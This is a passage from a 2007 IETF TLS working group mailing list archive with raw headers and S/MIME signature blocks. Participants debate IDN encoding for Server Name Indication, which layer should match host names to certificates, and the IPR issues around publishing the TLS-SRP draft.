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 PDioidvY5pSfT4qBR1Bx/vh+xD2evWyFbpuB99iuuewoELX8db7P74QEHhw6Bv1yxLYXGamq Uxo60WT/UCFjVSy3C/dLrraUZA4gh7Q5G+3/Fal62Qx+1rUEC2YbogEKggonklzUXA+sUbCf Ad5nZQ0eSszwKt8jmYoHfQ6rUMde0ZJD08n5HAot9hpl9R65j9fdPz9uTeANcRocftHfgM7Y rQyruWuFxgMUV80fD4RC9ej5KbLyO8jtgESjOCGXeJ95kXXP8vmW73xCYkJ9Pg7Op30o43l6 PV7vej3gdmSQISY+s+J3arz+bccljJCrKHBad3918/LjJ55sRtSb7mfQGti2UcxtJAa2NmUL d+BIv0MUuC6+k2yIIQKcLbDuuk8lLJmwWuYt1OLHEskZxOm7D7nRwe7ZNlTIZvR/VFWxlY18 k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjE5MTMyMTE0WjAjBgkqhkiG9w0B CQQxFgQUdY4ioqnSgOvbmEoCitIXaFHzxu8wUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGAbZM7hcKtwzYXd2p0 1Dm0gYdFyJ+tCWTPJa6enDjvmJcrrEBwsCFtxQVzp8nYSGkHyGbAHN2tQr6X/lnKGz2KhLKy gG4j2zNxfhtIZF2IzgboGmj9AaBkKDntcJeGmM5PX1nuAAzjQ5Kz+uA3b2EZB37fl9ilqO6S NQtsv5PVYCcAAAAAAAA= --------------ms020609040409080602030404-- --===============1309882686== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1309882686==-- From tls-bounces@lists.ietf.org Tue Jun 19 09:43:36 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0dzY-0007xI-MB; Tue, 19 Jun 2007 09:43:32 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0dzX-0007xA-Ch for tls@lists.ietf.org; Tue, 19 Jun 2007 09:43:31 -0400 Received: from sceptre.pobox.com ([207.106.133.20]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0dzW-00059C-6o for tls@lists.ietf.org; Tue, 19 Jun 2007 09:43:31 -0400 Received: from sceptre (localhost.localdomain [127.0.0.1]) by sceptre.pobox.com (Postfix) with ESMTP id CD5C32EF for ; Tue, 19 Jun 2007 09:43:51 -0400 (EDT) Received: from [192.168.1.8] (wsip-24-234-114-35.lv.lv.cox.net [24.234.114.35]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sceptre.sasl.smtp.pobox.com (Postfix) with ESMTP id 98AE2594AE for ; Tue, 19 Jun 2007 09:43:51 -0400 (EDT) Message-ID: <4677DCEB.7020509@pobox.com> Date: Tue, 19 Jun 2007 06:40:59 -0700 From: Mike User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: tls@lists.ietf.org Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? References: <200706130441.01903.bradh@kdelabs.net> <4676DB14.6040706@bolyard.com> <4676DF28.1090204@pobox.com> <200706190935.09520.bradh@kdelabs.net> In-Reply-To: <200706190935.09520.bradh@kdelabs.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: d17f825e43c9aed4fd65b7edddddec89 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org > On Tuesday 19 June 2007 05:38, Mike wrote: >> My client code also accepts any character string and sends it as >> is. The server does not perform ToASCII before comparing it to >> the name in the certificate. After re-reading RFC 4366, I think that I should be using ToASCII in the server. The client can probably still send whatever it is given, by requiring that the application provide a valid IDN in UTF-8. Mike _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 10:18:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0eWx-00049X-0v; Tue, 19 Jun 2007 10:18:03 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0eWv-00049P-QM; Tue, 19 Jun 2007 10:18:01 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0eWt-0006hL-Ui; Tue, 19 Jun 2007 10:18:01 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id QAA01978; Tue, 19 Jun 2007 16:17:19 +0200 (MESZ) From: Martin Rex Message-Id: <200706191416.l5JEGv4o020399@fs4113.wdf.sap.corp> Subject: Re: [TLS] Request to publish draft-ietf-tls-srp To: Peter.Sylvester@edelweb.fr (Peter Sylvester) Date: Tue, 19 Jun 2007 16:16:57 +0200 (MEST) In-Reply-To: <4677D84A.4020609@edelweb.fr> from "Peter Sylvester" at Jun 19, 7 03:21:14 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: tim.polk@nist.gov, iesg-secretary@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter Sylvester wrote: > > There have been critiques about the status of the document, > in particular motivated by IMO irrelevant IPR issues. Or, > at least that was the argument. > When taking their comments as serious in the consensus process, > did you assume that they have read the document and agree > with the technical content? :-) I can only speak for myself: I do have a very strong opinion about the document status because of the IPR issue, and at the same time I consider this technology completely irrelevant for my entire company and the product(s) we ship so that I want to leave discussion of the technical details of this spec entirely to those parties that are interested. The two camps that are likely to produce technical feedback are (a) implementors and (b) people who are seriously considering using the technology or are already doing so. Maybe it is (as I've mentioned before) that we've been succuessfully using SSL client certs for the last and prefer to push this technology. It is much easier for the backends to (continue to) deal with authentication based on client certificates that having to add yet another password-based authentication to a distributed system. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 10:25:09 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0edo-0007BU-4B; Tue, 19 Jun 2007 10:25:08 -0400 Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0edn-0007BP-7D for tls@lists.ietf.org; Tue, 19 Jun 2007 10:25:07 -0400 Received: from smtpde01.sap-ag.de ([155.56.68.171]) by chiedprmail1.ietf.org with esmtp (Exim 4.43) id 1I0edl-0001Y5-OC for tls@lists.ietf.org; Tue, 19 Jun 2007 10:25:07 -0400 Received: from sap-ag.de (smtpde01) by smtpde01.sap-ag.de (out) with ESMTP id QAA17564; Tue, 19 Jun 2007 16:24:46 +0200 (MESZ) From: Martin Rex Message-Id: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? To: paul.hoffman@vpnc.org (Paul Hoffman) Date: Tue, 19 Jun 2007 16:24:46 +0200 (MEST) In-Reply-To: from "Paul Hoffman" at Jun 18, 7 05:39:20 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Paul Hoffman wrote: > > At 10:27 AM +1000 6/19/07, Brad Hards wrote: > >If I have an internationalised domain name, then the certificate for that > >domain will have the domain name in a (basically) ACE encoded format. > > Correct. > > >The > >human user on the client side is presumably going to use UTF8 or perhaps > >UTF16 to specify the host they want to connect to. > > Correct, but unpredictably so. They type something into a text field > in the chrome web browser. They click on a link. They run a program > that has host names in it. And so on. > > >Which part of the system is responsible for making sure that the host name and > >the server certificate match? > > The TLS implementation. I violently disagree. The TLS implementation has nothing to do with the concept of Endpoint identification employed by HTTP over SSL/TLS. This endpoint identification is the task of some other middleware layer above TLS. But aside from this, I wonder whether it is appropriate to compare the name in the certificate to the hostname as it is passed to a traditional implementation of gethostbyname(). -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 11:34:58 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0fjL-0000g9-Qc; Tue, 19 Jun 2007 11:34:55 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0fjK-0000g3-J6 for tls@lists.ietf.org; Tue, 19 Jun 2007 11:34:54 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0fjI-0001q6-1i for tls@lists.ietf.org; Tue, 19 Jun 2007 11:34:54 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id B8A7F2E; Tue, 19 Jun 2007 17:34:48 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02693-01; Tue, 19 Jun 2007 17:34:46 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id 3941813; Tue, 19 Jun 2007 17:34:46 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007061917344459:304315 ; Tue, 19 Jun 2007 17:34:44 +0200 Message-ID: <4677F6FD.5030700@edelweb.fr> Date: Tue, 19 Jun 2007 17:32:13 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: martin.rex@sap.com Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? References: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> In-Reply-To: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 05:34:44 PM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/19/2007 05:34:45 PM, Serialize complete at 06/19/2007 05:34:45 PM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 68ba2b07ef271dba6ee42a93832cfa4c Cc: tls@lists.ietf.org, Paul Hoffman X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1864986852==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============1864986852== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms030601000001070600090801" This is a cryptographically signed message in MIME format. --------------ms030601000001070600090801 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit >> >>> Which part of the system is responsible for making sure that the host name and >>> the server certificate match? >>> >> The TLS implementation. >> > > I violently disagree. > > The TLS implementation has nothing to do with the concept of > Endpoint identification employed by HTTP over SSL/TLS. > This endpoint identification is the task of some other middleware > layer above TLS. > I share your disagreement. The TLS implementation might not even know to host it is actually talking for example if it is implemented like filter where you just put a connected network file descriptor under it. > > But aside from this, I wonder whether it is appropriate > to compare the name in the certificate to the hostname as > it is passed to a traditional implementation of gethostbyname(). > I think your question is somewhat unprecise. :-) > > -Martin > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > > --------------ms030601000001070600090801 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 